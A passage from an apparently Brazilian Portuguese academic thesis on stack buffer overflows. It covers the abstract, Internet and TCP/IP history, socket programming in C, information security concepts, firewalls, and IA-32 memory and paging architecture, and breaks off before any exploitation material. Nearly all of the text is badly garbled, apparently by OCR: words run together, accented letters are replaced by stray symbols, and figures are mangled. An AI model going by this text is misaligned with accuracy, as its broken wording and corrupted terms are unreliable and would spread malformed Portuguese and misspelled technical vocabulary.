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RESUMO

Vulnerabilidades em aplica¢des sdo as causas da maioria das invasdes de computadores. Isto
€ causado pela arquitetura do processador quanto ao gerenciamento precéario de paginas de
memoria (Arquitetura Intel IA-32) e principalmente pela falta de ateng@o ou conhecimento du-
rante o desenvolvimento das aplicagdes. Este documento trata de vulnerabilidades em aplicacdes
referentes ao estouro de buffers na pilha, explicando detalhadamente como elas podem ser ex-
ploradas e principalmente como podem ser evitadas utilizando os diversos mecanismos de de-
fesa disponiveis. Como proposta de solu¢do, uma modificacdo para o Linux foi desenvolvida,

com o objetivo de contornar a fragilidade da arquitetura utilizada.
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1 INTRODUCAO

Com o avan® datecnologiano desemolvimento computacionasumgiu a necessidadee
transfeénciade dadosa distancia,sendoprojetadasgdestaforma, asredesde computadores.
Atualmente,onde existem computadoresnterligadosque compartilhaminforma@®esimpor-
tantesatravés dessasedes,cadaum delespodeser consideradaim alvo em potencial. Difi-
cilmentese passaum més semalgumanoficia relatandoinvasao decomputadoresle empre-
sas,invafesobtidasatraszeés da exploraco defalhasexistentesem softwares,principalmerte
buffer overflows Tais invabespodemter variasconsegéncias,tais como: interrupdesde
servi@s, alterg®esde registros, substitui@esde softwarespor outrosespecialmentenodifi-
cadosjnforma@espropriefiriascopiadasemautoriza@o, captura@o desenhasentreoutras.
Porisso,faz-senecesario a utilizacdo detécnicassegurasde programaéo e tambem o usode
ferramentagjue dificultem tais invafes,aumentandalestemodo a confiabilidadedos dados
armazenadodigitalmente.

Nestedocumentoestaremositilizando a distribuicdo Debiart na suaversio 3.0r2 como
plataformaprincipalde desermolvimentoe pesquisaO kernelnaversao2.4.24tamkemfoi uti-
lizadoe apropostade solu@ofoi feitabaseadaessaversio. Utilizamostamiemo compilador
gcc2.95.4queesh disporivel comadistribuicao Debian

A pesquisaabordavulnerabilidadegle estourode buffer de programasodificadosnalin-
guagenC e quepodem,dependenddo contexto, seremaplicadosa programasiesemolvidos
emC++. A arquiteturdA-32 foi utilizadacomobase poisé aarquiteturadominantenoscom-
putadoreslomésticose corporatvos atualmente.

O trabalhofoi organizadoemseiscagdtulos. No Cagtulo 2 se@oapresentadossconceitos
basicosem torno do assuntadesteprojeto, como arquiteturalA32 e Linux. Em seguida, no
Cagtulo 3 técnicasde explorag@o dasvulnerabilidadesle buffer overflowse@o explicadasem
detalhe No Cagptulo 4, osmeiosmaisutilizadosparasedefendercontraessavulnerabilidades
seido mostradosentreelesum conjuntode patchesparao kernel conhecidocomogrsecurity

http://www.debian.og



No Cagtulo 5, a propostade solu@o deserolvida se@a apresentadaE no Cagtulo 6, ascon-
clusbesdestetrabalhoe propostaguturasseioapresentadas.



2 EMBASAMENT O TEORICO

Nestecagtulo se@o revistos algunstopicosque sao necesarios parao entendimentale
comoasfalhasde estourode buffer funcionam.

2.1 INTERNET. A REDEMUNDIAL DE COMPUTADORES

Umadasprimeirasredesde computadoresonhecidagoi chamadale ARPANET desen-
volvidaemmeadosiosanos70 por universidade® corporadesem consedjénciade um con-
trato assinadacom o Departmentof Defenses AdvancedReseath Projects Agency (ARPA,
tamkemconhecidaomoDARPA.). No seuinicio,aARPANET erausadaapenaporumgrupo
depesquisadoregstudantes administradoregNao haia muitosproblemasiesegguran@, pois
sealgtemcometessalgumatoilegal, seriafacil enconta-lojaqueo usoerarestrito. Nosanos
80aARPANET conectaa computadoresaoredordo mundoe serviacomouma’espinhador-
sal” paramuitasredegegionaise deuniversidadesjuesejuntaramaoprojetoapbsasuacriacdo
(GARFINKEL, 1996).

Em 1983foi implantadoo protocolode comunica&o TCP/IPe aARPANET sedividiu em
duaspartes: ARPANET (parteacadmica)e MILNET (integradaa DefenseData Network.
Paralelamenteomessagransformades,o SistemaDperacionalUNIX passowaserdistribuido
comtodo o pacoteTCP/IP que permitiu a definicdo deuma”internet”, comoum conjuntode
redesquaisquerespecialmentaquelasgue usamTCP/IP e "Internet” comoum conjuntode
"internet’sconectadapelo TCP/IP(HUNT, 1998).

Depoisde algunsanos,mais precisamentem 1988 RobertT. Morris da Universidadede
Cornell deserolveu um worm! que explorava falhasde programa@o nos daemons fingerd,
sendmaile rshatacandaercade 6.000hostsconectadosialnternet. O prejuizo, naépocafoi
calculadoentreUS$1M a US$100M.

lwormssaoprogramasaubnomosquetem capacidadele auto-duplicaéo, residindo circulandoe semultipli-
candoemsistemasnulti-tarefa
2daemonsAo processosjueexecutanfungdesdo sistema




Comoconseidjéncia,0 DARPA resoheucriaro CERT2, umcentroespecializademseyurana
da Internetcom o objetivo de controlarincidentese vulnerabilidadessomputacionaispubli-
candoalertasde seguran@ edesemolvendoinformadese treinamentgaraajudara manteros
hosté seguros. No final dadécadade 80, a ARPANET foi substitidapelaNSFNET, apoiada
em parte pela National ScienceFoundation(NSF) O apoio financeiropor partedo gowerno
Americanoparaa NSFNET foi cortadono come® dos anos90 devido ao crescimentadas
redescomerciaisdeixandoessaesponsabilidadparaa NSF (CARVALHO, 1996).

Apos essagnudanas a NSFNET (ex-ARPANET) passoua se chamarinternet. Com o
passadosanosalnternetsetornouumaredequeconectacentenaslemilharesdecomputadores
e dezenagle milhdesde usiarios atraveés do mundo,com o nUmerode pessoasonectadas
dobrandaoa cadaano, poréem,coma populariza@o darede,qualquerustario anbnimo poderia
tentarinvadir um sistema.

O crescimentala Internetfoi tao grandequesetornaquasempossvel identificaralguem
guetenhainvadidoalgumsistema:os invasorepodemparecetter realizadoo ataquede uma
universidadedo Rio de Janeiromasaverdadepodeserbemdiferente.Osinvasoregpodemser
do Parar@, quepor suavez entraramemum sistemade Manaus e apdsissoseconectaranem
outronaBahia,paradepoisseconectanauniversidadalo Rio deJaneirgpararealizaro ataque,
com umachanceminimade seremidentificados.Porissovariasmedidasoram tomadagara
tentaracabarcomtaisinvages,entreelas,a utilizacao defirewalls (GARFINKEL, 1996).

2.1.1 TCP/IP

O modelode protocolosT CP/IPpermitequecomputadoredetodosostamanhosdedifer-
entedabricantesrodandcsistema®peracionaisotalmentadiferentescomuniquem-sentresi.
Os protocolosde redesao normalmentadeserolvidos em camadasgom cadacamadasendo
responéwel por diferentegpartesnacomunicaéo. O modeloTCP/IP€é consideradam sistema
de4 camadasgcomomostraa Figural (STEVENS 1994).

Aplicacao

Transpore

Rede

Fisica

Figura 1. As quatrocamadasio TCP/IP(STEVENS 1994)

3ComputerEmegencyRespons Team
4host nalnternet,é qualquercomputadotigadoarede.



Cadacamadgossuiumadiferenteresponsabilidade:

e camadafisica inclui o dispositvo controladore aplacade redeno computadarJuntos
elescontrolamtodosos detalhedisicosde interfaceament@om o cabo(ou outrostipos
demidia).

e camadade rede controlao movimentode pacotegelarede. Roteamentale pacotes,
por exemplo, se encaixanestacamada.IP (InternetProtocol), ICMP (InternetControl
Message Protocol), e IGMP (Internet Group ManagementProtocol formama camada
derededasute TCP/IR

e camadade transporte (transportlayer): forneceum meiodefluxo de dadosentredois
hosts paraacamadaleaplica@o. Nastite TCP/IR existemdoisprotocolosdetransporte:
TCP(TransmissiorContmol Protocol) e UDP (UserDatagram Protocol).

O TCP forneceum fluxo de dadosconfiavel entredois hosts Ele se preocupacom as-
suntoscomodivisao dedadospassadoparaele vindosdaaplica@oemtamanhospro-
priadosparaseremerviadosparaa camadade rede,confirma@o depacotegecebidos,
configurartimeoutgparagarantirqueosdadosseio ewiados,entreoutros.Devido aesse
fluxo confiavel, aaplica@opodeseabstrairdessesletalhes.

O UDP, emcontrasteforneceum servig@ muito maissimplesa camadaleaplica@o. Ele
apenagrvia pacotede dadoschamadosiatagramasle um hostparaoutro, masnao se
preocupaem garantirque os datagramaslcancema outraponta. Qualquerconfirma@o
derecebiment@recisaserfeita pelaaplica@o.

e camadade aplicacao: controlaos detalhedasaplica®esem particular Algumasdas
mais comunssao: o telnet usadoparaconeao em maquinasremotas,e o FTP (file
transferprotoco)), utilizado paratransfeenciade arquivosremotos.

2.1.2 ARQUITETURA CLIENTE-SER/IDOR

A maioria dastarefas realizadascom rela@o a rede se encaixano modelo de proces-
sosclientescorversandocom processoservidorese vice-versa,como demonstraa figura 2.
Quandoserealizaumaconeao a porta23 de um hostremoto, utilizandoo telnet(o cliente),
um programano hostremoto(telnetd o servidor)aceitaa coneao (se estver configuradode
tal maneira).O servidoré quemcontrolao recebimentale cona&des,gerenciaa autenticaao,
forneceumterminaldeacessoe demaigtaresBEEJ 2001).



Cliente Servidor

W

Figura 2: ArquiteturaCliente-ServidoBEEJ 2001)

2.1.3 ENCAPSULAMENTO

Quandoum pacotee construdo, ele & encapsuladem um cabealho peloprimeiro proto-
colo (por exemplonaFigura3, queusao protocoloTFTP), e enfiotudoo quefoi encapsulado
anteriormente& encapsuladaovamentepelo proximo protocolo(no caso,UDP), e enfio é en-
capsuladalenovopeloproximo (IP), e finalmentee encapsuladpeloprotocolofinal nacamada
dehardware (fisica,no exemplo,Ethernej.

Ethernet| IP |UDP | TFTP| Dados

Figura 3: Encapsulamentdedados(BEEJ 2001)

Quandoo outro computadorecebeo pacote o hardware deleretirao cabealho Ethernet
o kernelretirao cabealhoIP e UDP, o programal FTP retirao cabealho TFTP e finalmente

possuiosdados.

2.1.4 ENDERECAMENTO NA INTERNET

Cadacomputadorque se conectaa Internet precisapossuirum Unico endereo parase
comunicarcom os demaisconectados rede,chamadade endereo IP. Essesendergos sao
numerosde 32 bits. Em vez de seusarendereos confinuoscomol, 2,3 e assimpor diante,
ha umaestruturaparaos endereos IP daInternet. A Figura4 ilustra asdiferentesclassegle
IP. Essesendereos de 32 bits sdo normalmenteescritoscomo quatronimerosdecimais,um
paracadabytedo endereo. Porexemplo,um IP deumaclasseB podesero IP 140.252.13.33
(STEVENS 1994).

STrivial File TransferProtocol



0 7 15 23 11

| octeto 1 | octeto 2 | octeto 3 | octeto 4 |
Classe A (0] netid | hostid |
Classe B 10| netid | hostid |
Classe C [1]1]0] netid hostid |
Classe D [1]1]1]0] Endereco Multicast |
Classe E [1]1]1]1]0] Reservado para uso futuro |

Figura 4: As 5 diferentesclassesleendereos|P (STEVENS 1994)

Devido a essaestricdao, existeumaautoridadecentralquealocaesseendereospararedes
conectadas Internet.Ela & chamadale InternetNetworkinformationCenter maisconhecida
como InterNIC. A InterNIC apenagdesignalDs de rede (netidg. A associago deidentifi-
cadorede hostsfica a caigo doadministradode sistema.Existemtréstipos de endereosIP:
unicast(destinadaa um Gnico host), broadcast(destinadoa todosos hostsem umadetermi-
nadarede)e multicast(destinadaa um conjuntode hostsque pertencea um grupo multicas)
(STEVENS 1994).

Apesardoshostsnalnternetpossiremumaidentifica@o P, oshumanogsonsguemmem-
orizarmelhorseo hostpossuium nome.No mundoTCP/IR o DomainNameSysten{DNS) &
um bancode dadosdistribuido que forneceo mapeament@ntre endereos IP e hostnames
Geralmente existem fungdes nasbibliotecasde deserolvimento de aplicatvos voltadosa
comunicg@oentrecomputadoreguelidam comesseacorversao.

2.2 A LINGUAGEM DE PROGRAMACAO C

A linguagemdeprograma&aoC foi deserolvidanofinal dosanos70como objetivo deser
umalinguagemde implementa@o desistemasem conjuntocom o sistemaoperacionalJnix.
A primeiralinguagemde alto nivel implementadaosprimeirossistemadJnix foi alinguagem
B. A linguagemB, como a suapredecessor8CPL, eraumalinguagemfracamenteipada.
Serfracamentdipada, quer dizer que todosos dadossao consideradopalasras de maquina
e isso pode levar a muitas complicg@es. Como resultado,uma nova linguagemtipadafoi
desenolvida, chamando-sénguagemC (KERNIGHAN; RITCHIE, 1988).

Uma dascaracteisticasda linguagemC é o fato de que ela trabalhaem cima de rotinas
dabibliotecapadi@o paraoperadesde entradae sdda e outrasinteradescom o sistemaop-
eracional. A linguagemC possuiabstradesde alto nivel que,usadagle forma correta,pode
seralcan@adoumaportabilidadeentremaquinasde arquiteturagliferentes.Por essasazes,a



linguagemC setornouumadaslinguagenglominantesiaatualidadgGILLETTE, 2002).

2.2.1 TIPOSDE DADOSBASICOS

Ostiposde dadoshasicosutilizadospelalinguagemsao (KERNIGHAN; RITCHIE, 1988):

e char: representaim caracterecomum tamanhade um bytenaarquiteturantel 1A-32;

e shortint: representaim inteiro pequenoarmazenadem dois bytesna arquiteturalntel
IA-32;

e int: representam inteiro, armazenademquatrobytesnaarquiteturantel 1A-32;

¢ float: representaim numerode pontoflutuante armazenadem quatrobytesnaarquite-
turalntel IA-32, comseisdigitos significativos e umamagnitudeentre10-38 a 10%;

e double representaim numerode pontoflutuantededuplaprecifo,armazenademoito
bytesnaarquiteturantel IA-32.

Outrotipo comumutilizadonalinguagemC & o arrayP, por exemplo: char minhavariavel[100]
defineum array chamadd'minhavariavel” com 100 posidesde caracteregde 0 a 99). Esse
tipo dearray decaracteresamiemeé chamadgor programadoresomostring ou enio buffer.

2.2.2 BIBLIOTECA PADRAO

ComalinguagemC, existe umaclassede rotinas”pré-empacotadagjueé fornecidapara
usojunto comtodo compiladorC. Coletivamente essaclassede rotinasé conhecidacomoa
bibliotecapadiao C. Essadungdesda bibliotecapodemseracessadasgo incluir o arquivo de
cabealhoqueincluemassuagefinidbes,atravésdadiretiva de pré-processamentéinclude”.
Por exemplo, 0 arquio string.h forneceacessa variasrotinasque realizamo tratamentade
strings(GILLETTE, 2002).

2.3 PROGRAMACAO DE SOCKETS

Quandoum sistemaoperacionalJnix-like’ realizaqualquertipo de operaéo deE/S, ele
o faz através de leitura ou escritaem um descritorde arquivo. Um descritorde arquivo €
simplesmentaim inteiro que possuiassociada si um arquivo aberto. Poiem, essearquivo

6array &€ umtipo dedado onde®selermrentosqueo formamsio deum mesmatipo
"Unix-like indicaqueo sistemaoperaionalemquesho possuicaracteisticassemelhanteao Unix



podeserumaconeao derede,um terminal,um arquvo real do disco,entreoutros. Tudono
Unix @éumarquivo, portanto,guandcsevai comunicarcomoutroprogramaatravésdeumarede,
efeito atravésdeum descritordearquivo. Soketssaosimplesment@mamaneirade corversar
comoutrosprogramasitilizandoesseslescritoresBEEJ 2001).

2.3.1 TIPOSDE SOCKETS

Existemvariossodketsde Internet,porem,apena®sdois maisimportanteseiocomenta-
dos. O primeiro € chamadade "StreamSodets”, e o segundode "Datagram Sodets”, quea
partir deagorase@oreferenciadosomo”’SOCK STREAM” e 'SOCK_DGRAM”, respectia-
mente(BEEJ 2001).

SOCK STREAMsaostream$ quefornecemcomunicadoconfiavel e orientadaaconex@o,
pois ao seernviar paraum SOCK. STREAM os bytes”1 2", eleschegarao naordem”1 2” na
outraponta.Aplicagdesconhecidagjueusamo SOCK STREAM sdo: telnete os navegadores
weh OsSOCK STREAM possuenessaqualidadenatransmisao dedadosporqueutilizam o
TCPcomoprotocolodetransportee dessananeiraassguram-sequeosdadossejamerviados

sediencialmente livre deerros.

SOCK DGRAM naosaoorientadosa coneao, e por isso,ao seernviar um datagramanao
ha acertezade queele cheguenaoutraponta. Ele usao UDP como protocolode transporte.
Ele nao € orientadoa conexao porguenao ha anecessidadde abrir umaconecao comohanos
SOCK STREAM. Apenasse constbi 0 pacote,e ervia parao destino. Sao geralmenteuti-
lizadosem aplica®@esquetransfereninformadespacote-a-pacoteomo: tftp e bootp. Geral-
mente,essasaplicadesutilizam um tipo de confirma@o depacotebem mais simplesque a
utilizadaem SOCK STREAM (naverdadeno TCP) (BEEJ 2001).

2.3.2 UTILIZANDO SOCKETEM C

Oscabealhosquepossuenasfungdese tipos paratrabalharcom sodketsestolistadosna
Tabelal.

Um sodet &€ umint (tipo primitivo em C). Existemdoistipos de ordenaéo debytes byte
maissignificativo primeiro ("Network Byte Order”, tambem conhecidocomobig-endianbyte
order), e o bytemenossignificativo primeiro ("Host byteorder”, ou little-endianbyte order).
Essediposse@odescritoamelhornase@o daArquiteturalntel IA-32.

(BEEJ 2001)descrege asestruturagomumentaisadas:

8streamé umasediénciadebytes
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Tabelal: Cabealhosparatrabalharcomsoclets

Cabealho Descricdo

sys/sockt.h | Declarg@o deconstantegjpose fungdesde sodket
sys/types.h | Declara@o detiposde dadosprimitivosdo sistema
netinet/in.h | Declarg@odasestruturase protocolosdalnternet

arpalinet.h Declara@o defungdesde protocolosdalnternet

e struct sokaddr. armazenanformadesde endereos de sodketsparaos variostipos de
soclets

e structsod_addr.in: estruturacriadaparalidar coma estruturasodkaddr.

e structin_addr. armazenaimendereo IP

Paraa corversao entreNetworkByte order e Host byte order, foram constridasalgumas
fungdes,querealizamcornverdesentretiposshort (2 byteg elong (4 bytes:

e htons() cornverteumtipo shortdeordeng@ohostparanetwork
¢ htonl(): cornverteumtipo long de ordenaéohostparanetwork
e ntohs(} converteumtipo shortdeordengaé@onetworkparahost
¢ ntohl(): cornverteumtipo delong de ordena&onetworkparahost

e inet_addr(): corverteumendereo IP emnota@odecimalparaumendereo emordena@o
tipo network

As fungdesquesao utilizadasgeralmenteparaserealizarumacomunicga@o entresodkets
sao:

e sodket(): criaumsodet

¢ bind(): anexaa um sodket umaportaparacomunicaéo

e connect() conectaa um hostremoto

e listen(): aguardaconedesno soket

e accept() depoisde conectadop accept()cria um novo sodket paracomunica@o, per
mitindo queoutrosconectemaportaqueestrodandoo listen()
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¢ send() ervia dadosparao sodket (apenaparasodkets”’conectados”)

e recv() recebadadosdo soket (apenagparasodkets’conectados”)

e sendto() ervia dadosparaum sodket quenaoest conectada@omum hostremoto
e recvfrom(} recebedadosde um sodket quenaoesht conectado

e close() fechaaconeaodo sodket

e shutdawvn(): fechaa conexaodo sodet permitindoinformar comoseia fechado

e getpeername()pega o nomedo hostqueest do outroladodo sodet

e gethostname()pega o nomedo hostlocal

e gethostbyname()retornao IP deum hostname
2.4 SEGURAN®A EM SISTEMASDE INFORMACAO

A seguran@dasinformadesdefine-se&comoo processale prote@odasinformadese da-
dosdigitaisarmazenadosmcomputadoreFEBRABAN; ISS, 2000)listaoselementodasicos
dasguran@adasinformades:

e Confidencialidade protegerinformadesconfidenciaicontrarevelag@o nao autorizada
ou capta@ocompreentvel;

¢ Disponibilidade: garantirqueinformadese servigs vitais estejamdisporiveis quando
requeridos;

¢ Integridade: manterinforma@ese dadosdossistemasomputadorizadogxatose com-
pletos.

A necessidadde seguran@ e aimportanciarelativa de cadaum dos elementodependem
donegobcio decadaorganiza@o. Pode-selefinirumriscocomoaprobabilidadedleumaameaa
explorar vulnerabilidadegparacausamperdasou danosa qualquersistemade informag@o. Em
(FEBRABAN; ISS, 2000)aparecaimalista dasameaasmaiscomuns:

e Falhasem softwares

e acessmao autorizado de informacgodes,sistemasde informacoes,redese/ou sewigcos
derede
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e Software malicioso

e Falhasde sistemasbhasicose aplicativos

e Modificacaonao autorizada de mensagen® informacdes
e Err oshumanos

e Ataquesbaseadoemsenhas

e Ataquesque exploram o acessaonfiavel

e Engenharia Sociat

e " Spoofing doIP;

e Exploracao devulnerabilidadestecnologicas
e Exploracao debibliotecascompartilhadas;

e Falhasnosprotocolos

e "DoS - Denial of Sewvice”;

e "DDoS - Distrib uted Denial of Service” e

e Virus.

Umatentatvademelhoraraseguran@dasredescorporatvasfoi autilizacao de’firewalls”.

Havariosanosatras,paredesletijolos eramconstridasentreprédiosexistentesemgrandes
compleos de apartamentos;om o objetivo de quesehouwessealgumtipo deincéndio,fosse
poss$vel evitar que o fogo se espalhasseros demaisestabelecimentosNaturalmente gesas
paredegoramchamadasle "fir ewalls” (HARE, 1996).

Quandoum computado (ou umaredede computadoresg conectadmalnternet,ele passa
a estarhabilitadoa comunicarcom os demaiscomputadoresonectadosiarede. Contudo,o
mesmocomputadoestaa permitindogueosdiversoscomputadoredaredeinterajamcomele,
tornando-seassimum alvo em potencial paraataquesexternos. Os firewalls, em suamaioria,
nadamais sao do queroteadorestravesdosquaisos dadospassamseguindoas politicasde
seguran@ definidaspelo administradar Portanto,se algum invasortentarobter acessmao-
autorizadoaosistemagle podea serbarradono firewall e ndoconsguirair alemdisso.

Apesardisso, o firewall ndo é infalivel, o seupropdsito &€ aumentara segguran@, e nao
garant-la. Porexemplo,paraum firewall, & dificil entenderos dadosque passamatravésde
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um servi@ valido configuradoem suasregras ou seja,umamensagende e-mail &€ umamen-
sagendee-mail. Fazercomqueo firewall filtre e elimine cadae-mailcontendacertaspalavras
indesejada® pos$vel, porem, nemtodostem a capacidadele filtrar buffer overflow que é
consideradam problemade seguran@ critico paraqualqueredede corporg@o protegida.

Um exemploreal que aconteceuecentementefpi o ataquecontraservidoresde paginas
gueutilizavam OpenSSl(umaimplementaéo de congdescriptograficas).Foi descobertama
falhadeimplementa@ono OpenSSle, comoestetrabalhaa junto como Apade (servidorde
paginasweb)atravésdo mod ssl acabousetornandoumaboaportade entradgparainvasores,
jaquegeralmente servi®m de paginasnao € totalmentdiltrado pelofirewall.

Nos Ultimos anos,a principal causada maioriadasinvasbesde computadoresem sido o
buffer overflow quepodeafetarqualquersistemaondeumtamanhdixo demenbriafoi alocado
paraumaentradade dadosde tamanhoindefinido. No passadog buffer overflowfoi tratado
comoapenasendoum bugde software,queiria no maximocausamlgumtipo deincdomodose
ele fosseusadoparainterromperum process@m execu@o. A chave parao entendimentalo
buffer overflowé queele permitea execu@o deum codigo arbitrario. Na eradainformag@oe
subsegenteguerrade informages,o buffer overflowpodesercomparada@omum missil. Em
contrapartidagle podeserusadocomoumavantagenestraégicacontraqualquersistemade
informa@o (GILLETTE, 2002).

Paracompreendeo funcionamentale um buffer overflowna arquiteturalntel com o sis-
temaoperacionalinux, primeiro &€ necesario apresentaconceitosasicosde ambos paraem
sqguidadetalharosaspectosécnicosdafalha.

2.5 ARQUITETURA INTEL IA-32
Nestase@overemos funcionamentdasicodeum computadodaarquiteturantel IA-32.

2.5.1 AMBIENTE DE EXECUQ&O

A arquiteturalA-32 suportatrés modosde opera@o: modo protegido (protectedmodk),
mododeendereamentareal (real-addessmodg e modode gerenciamentde sistemgsystem
manaementmodg. O modode opera@o determinaquaisinstru@ese caracteisticasarquite-
turaisestafiodisporiveis (INTEL, 2003):

e modo protegida & o modonativo do processadorNestemodo, todasasinstru@ese
caractelsticasarquiteturaiestiodisponveis. Eo modorecomendadparaa execu@o de
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todasasaplica®ese sistemaoperacionaisPossuitamtem a caracteisticade execu@o
de softwaes queforam produzidosparaa antiga arquitetura8086, através do chamado
virtual-8086mode

¢ modo de enderecamentoreal: implementao ambientede programaéo do processador
8086.0 processadot colocadmestanodoapbsserligadoouapdosumresef(reinicializa@o
do computador).

e modo de gerenciamentode sistema forneceum mecanismdransparent@araimple-
mentarfungdesespedicasdaplataformataiscomogerenciamentdeenepgiae seguran@
dosistema.

Qualquerprogramaou tarefa rodandoem um processadolA-32 possuium conjuntode
recursoaraexecu@o deinstru@ese paraarmazenacoddigo,dadose informadesde estado.
Essegecursoxonstroenp ambientebasicode execu@o paraum processadodalA-32. Esse
ambientebasicode execu@o € usadoem conjuntopelasaplica@ese pelo sistemaoperacional
guerodamno processadolOs principaisrecursosilustradosnaFigura5, sao (INTEL, 2003):

e Espam de enderecamento (addressspacg: todo programaou tarefa em execu@o em
um processadolA-32 possuium espao deendereamentdineardeaté 4 GBytes(232 —
1) e um espao de endereamentdfisicode até 64 GBytes(2%6 — 1).

e Registradoresbasicosde execu@o de programas 0s oito registradoresde proposito
geral,os seisregistradoresie segmento,o registradorEFLAGS, e o registradorEIP (in-
structionpointer) constitemo ambientebasicode execu@ono qualé executadoo con-
junto de instru@esde proposito geral. Essasnstrud@esrealizamaritméticasde inteiro
emum byte word e doublevord, gerenciano fluxo de controledo programapperamem
stringsdebit e bytee emendereosde menoria.

e Registradores x87 FPU: conjuntode 14 registradoresesponaweis pelarealiza@o de
opera®esde pontoflutuante.

e RegistradoresMMX : oito registradoredMMX que suportama execu@o deoperades
de Gnicainstru@omulti-dados(SIMD) nosregistradoresie 64 bits.

e RegistradoresXMM : oito registradoresXMM e um registradorMXCSR querealizam
opera®esSIMD emregistradoresie 128 bits.

e Pilha (stak): parasuportarprocedimento®u chamadas subrotinase passagentde
paametrosentreprocedimento®u subrotinasyecursogde pilha e de gerenciamentale
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pilha foram incluidosno ambientede execu@o. O funcionamentala pilha seé& coberto

commaioresdetalhesnaisadiante.

Registradores basicos

QOito registradores Registradores de 21
de 32 bits proposito geral

Seis registradores Registradores de

de 16 bits segmento
32 bits Registrador EFLAGS
32 bits Registrador EIP

Oito registradores
de 80 bits

.~ 16bits |
.~ 16bits |
.~ 16bits |

~ 11bits |

48 bits

48 bits

Registradores MMX

Espaco de enderecamento
32

Registradores de
dados de ponto flutuante

Registrador CONTROL 0
Registrador STATUS
Registrador TAG
Registrador OPCODE
Registrador FPU Instruction Pointer
Registrador FPU Data Pointer

Registradores SSE e SSE2

Oito registradores
de B4 bits

Oito registradores
de 128 bits

32 bits Registrador MXCSR

Figura 5: Ambientebasicode execu@o dalA-32 (INTEL, 2003)

2.5.2 ORGANIZACAO DA MEMORIA

A menbria queo processadoconsgueenderear no seubarramente chamadanenbria

fisica. A menbria fisicaé organizadacomoumasediénciade bytesde 8 bits. Paracadabyteé

associadam Unicoendereo, chamadade endereo fisico. O espao de endereamentaofisico

variade 0 (zero)a um maximode 236 — 1 (64 GByte3. Os sistema®operacionaisitilizam as

capacidadede gerenciamentale menbria fornecidaspelo processadorromo seggmentaéo e

pagina@o,permitindoqueamenoriasejagerenciadaeformaconfiavel e eficiente.Ao utilizar

asvantagensle gerenciamentdornecidas s programasiao acessandiretamentea mendria

fisica,comoilustraa Figura6, passand@a acesa-laatrasesdo usode um dostréesmodelosde

menoria: plano(flat), ssgmentadamu deendereamentareal (real-addesg (INTEL, 2003).
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e Modelo flat: ao utilizar estemodelo,a menbria apareceparao programacomo sendo
um espao simplese coniguo, chamadade espao de endereamentolinear. O codigo
(instru®esdo programa) dadose apilha esfotodoscontidosnessenesmoespao. O
espao de endereamentalinear & endereavel por byte, com endereos entre0 (zero)a
232 1.

e Modelo segmentado(segmentell ao utilizar estemodelo,a menbria apareceparao
programacomoumgrupodeespaosdeendereamentandependenteshamadosieseg-
mentos.Comisso,o codigo,dadose pilha estio contidosem sggmentosseparadosPara
acessaum dadonamendria, 0 programaprecisafornecerum endereo l6gico,quecon-
sistede um seletorde sggmentoe um offset (deslocamentaentrodo seggmento). Os
programagjuerodamemum processadodaarquiteturdA-32 sdocapazesleenderear
att 16383 segmentosde diferentestipos e tamanhosg cadaseggmentopodeser de no
méaximo 232 bytes Internamentetodosos segmentosgue sio definidosparao sistema
sao mapeadogparao espao de endereamentolinear do processadorParaacessauma
regiao demenbria, o processadotraduzcadaendereo |6gico paraum endereo linear.
Essatradu@o € transparent@araa aplica@o. A razio principal paraseutilizar o mod-
elo sggmentadca devido a suacapacidadele aumentar confiabilidadedosprogramase
sistemaspoisimpedequea pilha cres@ att ase@o decddigo ou dadose sobrescreer
instru@esou dadosyespectramente.

Com o modeloflat ou segmentado,0 endereo linear &€ mapeadoem endereo fisico

diretamenteou atravésde paging@o. Quandose utiliza mapeamentalireto (pagina@o

desatvada),cadaendereo lineartemumacorresponénciaum-porumcomumendereo

fisico. Quandoo mecanismale paging@o daarquitetura A-32 est ativado,o endereo

linear é dividido em paginas gquesaomapeadasmumamenbriavirtual. As paginasda
mendria virtual sao enfio mapeadaguandonecesario paraa menbria fisica. Quando
umsistemaoperacionautiliza paging@o,0 mecanisme transparentparaasaplicad®es,
gue energamamenbriacomosendoum espao deendereamentdinear.

e Modo de enderecamentoreal (real-addres essemodeloé suportadgelaarquitetura
IA-32 apenagparamantera compatibilidadecom programasescritosparao processador
8086,possuind@amendriafisicadivididaemsegmentode 64Kbytese comumtamanho
maximode espao deendereamentdinearde 220 bytes
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Modelo Flat
Enderego linear
1] -
espaco de enderegamento
linear
Modelo Segmentado
Offset
1] R
Endereco |0gico \ -
L1 —_—
Segmento
Hegmeies espaco de enderegamento
linear
Modelo de enderecamento real ==
offgset === ===-=
I/ -
Endere¢o l6gico
L1 -
segmento === =-==-=

espaco de enderegcamento
linear (dividido em segmentos
de tamanhos iguais)

Figura 6: Ostrésmodelosde gerenciamentde menbriadalA-32 (INTEL, 2003)

2.5.3 MODOSDE OPERAQS\O E MODELOSDE MEMORIA

Ao seescreer codigoparaa arquiteturd A-32, € necesario saberemquemodoo proces-

sadorvai executarasinstru@ese o tipo de modelode menbria usado.A relag@o entreelesé
(INTEL, 2003):

e Modo protegida quandoo processadoest nestemodo, qualquertipo de modelode
menbria podeserusadodependenddaimplementaéodo sistemaoperacional.

e Modo de enderecamento real quandoest nestemodo, o processadosd suportao
modelode menbria de endereamentareal.

e Modo de gerenciamentode sistema utiliza um modelode men®bria similar ao modelo
deendereamentareal.
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2.5.4 PAGINACAO

A menoriatotal disporivel naoé necessariamentgualamenobriafisicaqueo computador
possui. A utilizacdo demendria virtual possibilitaa extensio daquantidadede men®ria ao
extenderamenbria no disco. Parafacilitar, um mecanismale mapeamentde endereo linear
paraendereo fisicoé necesario: a paginaéo.

O procesadr divide o espao de endereamentolinear em paginasde tamanhdimitado
(geralmentedKB). Quandoum programatentaacessaum endereo l6gico, o processadoo
cornverteem endereo linear através do mecanismale sggmenta@o e em seguida o corverte
paraendereo fisico,atrasesdo mecanismale pagingéo.

Sea paginaque o proceso est tentandoacessanao esh em menobria, umaexce@o de
falha de paginaé gerada,e geralmenteo sistemaoperacionalvai intercepé-la e carregar a
paginarequeridgparaamenbria. Aposvoltar dotratadordeinterrup@o,ainstru@oquecausou
a exce@ose@reiniciada.

A informa@o que o processadoprecisaparacornverter endereos linearesem endereos
fisicosest contidaemum diretorio de paginase emumatabelade paginas. Ambossaoarrays
devaloresde 32 bits, cadaum contidoemumapaginade 4KB.

O registradorde controlecr3 conem a basede endereos dasdiversagabelasde paginas.
Comoelaesht contidaemumapaginade4KB, o numeromaximodeentradag 1024.Portanto,
umatabelade paginaspossuiendereosdeno maximo 1024 @aginas.

A figuraa seguir representgomoum endereo linearé traduzidoemum endereo fisico.

Enderecgo linear
